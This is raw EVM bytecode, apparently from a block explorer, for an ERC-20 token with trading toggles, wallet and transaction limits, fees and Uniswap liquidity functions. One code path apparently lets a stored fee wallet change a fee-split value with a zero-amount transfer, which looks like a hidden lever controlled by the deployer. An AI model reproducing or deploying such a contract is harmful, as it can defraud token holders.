50565b5f813590506133b08161338c565b92915050565b5f819050919050565b6133c8816133b6565b81146133d2575f80fd5b50565b5f813590506133e3816133bf565b92915050565b5f80604083850312156133ff576133fe613388565b5b5f61340c858286016133a2565b925050602061341d858286016133d5565b9150509250929050565b5f8115159050919050565b61343b81613427565b82525050565b5f6020820190506134545f830184613432565b92915050565b5f819050919050565b5f61347d61347861347384613330565b61345a565b613330565b9050919050565b5f61348e82613463565b9050919050565b5f61349f82613484565b9050919050565b6134af81613495565b82525050565b5f6020820190506134c85f8301846134a6565b92915050565b6134d7816133b6565b82525050565b5f6020820190506134f05f8301846134ce565b92915050565b5f805f6060848603121561350d5761350c613388565b5b5f61351a868287016133a2565b935050602061352b868287016133a2565b925050604061353c868287016133d5565b9150509250925092565b5f60ff82169050919050565b61355b81613546565b82525050565b5f6020820190506135745f830184613552565b92915050565b5f6020828403121561358f5761358e613388565b5b5f61359c848285016133a2565b91505092915050565b5f6135af82613330565b9050919050565b6135bf816135a5565b82525050565b5f6020820190506135d85f8301846135b6565b92915050565b5f80604083850312156135f4576135f3613388565b5b5f613601858286016133a2565b9250506020613612858286016133a2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061366057607f821691505b6020821081036136735761367261361c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136ad602083613290565b91506136b882613679565b602082019050919050565b5f6020820190508181035f8301526136da816136a1565b9050919050565b5f815190506136ef8161338c565b92915050565b5f6020828403121561370a57613709613388565b5b5f613717848285016136e1565b91505092915050565b5f6040820190506137335f830185613360565b6137406020830184613360565b9392505050565b5f819050919050565b5f61376a61376561376084613747565b61345a565b6133b6565b9050919050565b61377a81613750565b82525050565b5f60c0820190506137935f830189613360565b6137a060208301886134ce565b6137ad6040830187613771565b6137ba6060830186613771565b6137c76080830185613360565b6137d460a08301846134ce565b979650505050505050565b5f815190506137ed816133bf565b92915050565b5f805f6060848603121561380a57613809613388565b5b5f613817868287016137df565b9350506020613828868287016137df565b9250506040613839868287016137df565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61389d602683613290565b91506138a882613843565b604082019050919050565b5f6020820190508181035f8301526138ca81613891565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61392b602483613290565b9150613936826138d1565b604082019050919050565b5f6020820190508181035f8301526139588161391f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b9602283613290565b91506139c48261395f565b604082019050919050565b5f6020820190508181035f8301526139e6816139ad565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a47602583613290565b9150613a52826139ed565b604082019050919050565b5f6020820190508181035f830152613a7481613a3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ad5602383613290565b9150613ae082613a7b565b604082019050919050565b5f6020820190508181035f830152613b0281613ac9565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613b3d601383613290565b9150613b4882613b09565b602082019050919050565b5f6020820190508181035f830152613b6a81613b31565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f613bcb602883613290565b9150613bd682613b71565b604082019050919050565b5f6020820190508181035f830152613bf881613bbf565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f613c59602583613290565b9150613c6482613bff565b604082019050919050565b5f6020820190508181035f830152613c8681613c4d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613cc4826133b6565b9150613ccf836133b6565b9250828203905081811115613ce757613ce6613c8d565b5b92915050565b5f613cf7826133b6565b9150613d02836133b6565b9250828201905080821115613d1a57613d19613c8d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613d54601b83613290565b9150613d5f82613d20565b602082019050919050565b5f6020820190508181035f830152613d8181613d48565b9050919050565b5f613d92826133b6565b9150613d9d836133b6565b9250828202613dab816133b6565b91508282048414831517613dc257613dc1613c8d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e00826133b6565b9150613e0b836133b6565b925082613e1b57613e1a613dc9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e80602183613290565b9150613e8b82613e26565b604082019050919050565b5f6020820190508181035f830152613ead81613e74565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f408161334f565b82525050565b5f613f518383613f37565b60208301905092915050565b5f602082019050919050565b5f613f7382613f0e565b613f7d8185613f18565b9350613f8883613f28565b805f5b83811015613fb8578151613f9f8882613f46565b9750613faa83613f5d565b925050600181019050613f8b565b5085935050505092915050565b5f60a082019050613fd85f8301886134ce565b613fe56020830187613771565b8181036040830152613ff78186613f69565b90506140066060830185613360565b61401360808301846134ce565b9695505050505050565b5f6040820190506140305f8301856134ce565b81810360208301526140428184613f69565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205e1573fe5866246b2a88310c464f85831f29ccc371d042975a4e00d7791ba0ac64736f6c63430008140033
Deployed Bytecode
0x608060405260043610610280575f3560e01c8063852614851161014e578063c5d24189116100c0578063e89ccbc011610079578063e89ccbc014610993578063f0cd1dac1461099d578063f2fde38b146109c7578063f680f799146109ef578063f872858a14610a19578063fb45af2314610a4357610287565b8063c5d2418914610885578063c8607952146108af578063d982e86c146108d9578063da00097d14610903578063dc44b6a01461092d578063dd62ed3e1461095757610287565b806398e944c81161011257806398e944c814610765578063a3bcc4061461078f578063a457c2d7146107b9578063a7251ef6146107f5578063a8b089821461081f578063a9059cbb1461084957610287565b8063852614851461068157806388790a68146106ab5780638b42507f146106d55780638da5cb5b1461071157806395d89b411461073b57610287565b80633ecad271116101f25780636c0a24eb116101ab5780636c0a24eb1461059b57806370a08231146105c5578063715018a614610601578063751039fc146106175780637d1db4a51461062d57806382eefb431461065757610287565b80633ecad2711461048f5780634a74bb02146104cb5780634ada218b146104f55780635194f9bf1461051f57806351cd7cc314610549578063548cc2561461055f57610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff578063313ce56714610429578063395093511461045357610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac9190613310565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336f565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e9565b610b33565b6040516103129190613441565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b5565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dd565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dd565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f6565b610b84565b6040516103cc9190613441565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336f565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dd565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b60405161044a9190613561565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906133e9565b610d0f565b6040516104869190613441565b60405180910390f35b34801561049a575f80fd5b506104b560048036038101906104b0919061357a565b610dbd565b6040516104c29190613441565b60405180910390f35b3480156104d6575f80fd5b506104df610dda565b6040516104ec9190613441565b60405180910390f35b348015610500575f80fd5b50610509610ded565b6040516105169190613441565b60405180910390f35b34801561052a575f80fd5b50610533610dff565b60405161054091906134dd565b60405180910390f35b348015610554575f80fd5b5061055d610e05565b005b34801561056a575f80fd5b506105856004803603810190610580919061357a565b610eb5565b6040516105929190613441565b60405180910390f35b3480156105a6575f80fd5b506105af610ed2565b6040516105bc91906134dd565b60405180910390f35b3480156105d0575f80fd5b506105eb60048036038101906105e6919061357a565b610ed8565b6040516105f891906134dd565b60405180910390f35b34801561060c575f80fd5b50610615610f1e565b005b348015610622575f80fd5b5061062b611070565b005b348015610638575f80fd5b50610641611118565b60405161064e91906134dd565b60405180910390f35b348015610662575f80fd5b5061066b61111e565b60405161067891906134dd565b60405180910390f35b34801561068c575f80fd5b50610695611124565b6040516106a29190613441565b60405180910390f35b3480156106b6575f80fd5b506106bf611137565b6040516106cc91906134dd565b60405180910390f35b3480156106e0575f80fd5b506106fb60048036038101906106f6919061357a565b61113d565b6040516107089190613441565b60405180910390f35b34801561071c575f80fd5b5061072561115a565b604051610732919061336f565b60405180910390f35b348015610746575f80fd5b5061074f611181565b60405161075c9190613310565b60405180910390f35b348015610770575f80fd5b50610779611211565b604051610786919061336f565b60405180910390f35b34801561079a575f80fd5b506107a3611237565b6040516107b091906135c5565b60405180910390f35b3480156107c4575f80fd5b506107df60048036038101906107da91906133e9565b61125c565b6040516107ec9190613441565b60405180910390f35b348015610800575f80fd5b50610809611324565b60405161081691906134dd565b60405180910390f35b34801561082a575f80fd5b5061083361132a565b604051610840919061336f565b60405180910390f35b348015610854575f80fd5b5061086f600480360381019061086a91906133e9565b61134f565b60405161087c9190613441565b60405180910390f35b348015610890575f80fd5b5061089961136d565b6040516108a691906134dd565b60405180910390f35b3480156108ba575f80fd5b506108c3611373565b6040516108d091906134dd565b60405180910390f35b3480156108e4575f80fd5b506108ed611379565b6040516108fa91906135c5565b60405180910390f35b34801561090e575f80fd5b5061091761139e565b6040516109249190613441565b60405180910390f35b348015610938575f80fd5b506109416113b1565b60405161094e91906134dd565b60405180910390f35b348015610962575f80fd5b5061097d600480360381019061097891906135de565b6113b7565b60405161098a91906134dd565b60405180910390f35b61099b611439565b005b3480156109a8575f80fd5b506109b16119ad565b6040516109be91906134dd565b60405180910390f35b3480156109d2575f80fd5b506109ed60048036038101906109e8919061357a565b6119b3565b005b3480156109fa575f80fd5b50610a03611b70565b604051610a1091906134dd565b60405180910390f35b348015610a24575f80fd5b50610a2d611b76565b604051610a3a9190613441565b60405180910390f35b348015610a4e575f80fd5b50610a696004803603810190610a64919061357a565b611b89565b604051610a769190613441565b60405180910390f35b606060018054610a8e90613649565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613649565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba6565b8484611bad565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d70565b50610c4e84610b9d611ba6565b610c498560405180606001604052806028815260200161404c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610ed8565b610ce7610cd67f000000000000000000000000000000000000000000000000000000000000dead610ed8565b60165461257790919063ffffffff16565b61257790919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610db3610d1b611ba6565b84610dae8560075f610d2b611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b611bad565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b610e0d611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e90906136c3565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6009602052805f5260405f205f915054906101000a900460ff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f26611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906136c3565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611078611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906136c3565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461119090613649565b80601f01602080910402602001604051908101604052809291908181526020018280546111bc90613649565b80156112075780601f106111de57610100808354040283529160200191611207565b820191905f5260205f20905b8154815290600101906020018083116111ea57829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61131a611268611ba6565b84611315856040518060600160405280602581526020016140746025913960075f611291611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61136261135b611ba6565b8484611d70565b506001905092915050565b600e5481565b60115481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611441611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c4906136c3565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561152e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061155291906136f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115db91906136f5565b6040518363ffffffff1660e01b81526004016115f8929190613720565b6020604051808303815f875af1158015611614573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061163891906136f5565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061194130610ed8565b5f8033426040518863ffffffff1660e01b815260040161196696959493929190613780565b60606040518083038185885af1158015611982573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906119a791906137f3565b50505050565b60145481565b6119bb611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e906136c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906138b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c80906139cf565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6391906134dd565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690613a5d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490613aeb565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eeb575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3f5760085f9054906101000a900460ff16611f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3590613b53565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fda575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200757612000848484611fef888861261d565b611ff95785611ffb565b5f5b61273e565b905061250e565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a55750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bd5750601b60189054906101000a900460ff165b1561210857601854821115612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe90613be1565b60405180910390fd5b5b5f61211230610ed8565b90505f60175482101590508080156121375750601b60149054906101000a900460ff16155b801561218a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a25750601b60159054906101000a900460ff165b156121cc57601b60169054906101000a900460ff16156121c25760175491505b6121cb8261291a565b5b612253846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612330575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123445761233f878787612be1565b612346565b845b9050601b60179054906101000a900460ff1680156123ab5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612410576019546123ce826123c089610ed8565b6125c090919063ffffffff16565b111561240f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240690613c6f565b60405180910390fd5b5b6124608160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fe91906134dd565b60405180910390a3600193505050505b9392505050565b5f83831115829061255c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125539190613310565b60405180910390fd5b505f838561256a9190613cba565b9050809150509392505050565b5f6125b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612515565b905092915050565b5f8082846125ce9190613ced565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90613d6a565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c6575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fe57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273657505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128578360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a9576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290691906134dd565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294d6015546014546125c090919063ffffffff16565b90505f612967601054600d546125c090919063ffffffff16565b90505f612981601154600e546125c090919063ffffffff16565b90505f6129bc60026129ae866129a0878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d2828761257790919063ffffffff16565b90505f4790506129e182612ebb565b5f6129f5824761257790919063ffffffff16565b90505f612a1e612a0f600289612e7290919063ffffffff16565b8961257790919063ffffffff16565b90505f612a596002612a4b84612a3d8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9583612a87612a786013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abd82612aaf858861257790919063ffffffff16565b61257790919063ffffffff16565b90505f821115612b2d5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612cde57612cdb6064612ccd60155486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505b5b5f811115612dde57612d378160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dd591906134dd565b60405180910390a35b612df1818461257790919063ffffffff16565b9150509392505050565b5f808303612e0b575f9050612e6c565b5f8284612e189190613d88565b9050828482612e279190613df6565b14612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613e96565b60405180910390fd5b809150505b92915050565b5f612eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613225565b905092915050565b5f600267ffffffffffffffff811115612ed757612ed6613eb4565b5b604051908082528060200260200182016040528015612f055781602001602082028036833780820191505090505b50905030815f81518110612f1c57612f1b613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fe491906136f5565b81600181518110612ff857612ff7613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061305e30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016130c0959493929190613fc5565b5f604051808303815f87803b1580156130d7575f80fd5b505af11580156130e9573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161311e92919061401d565b60405180910390a15050565b61315630601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473f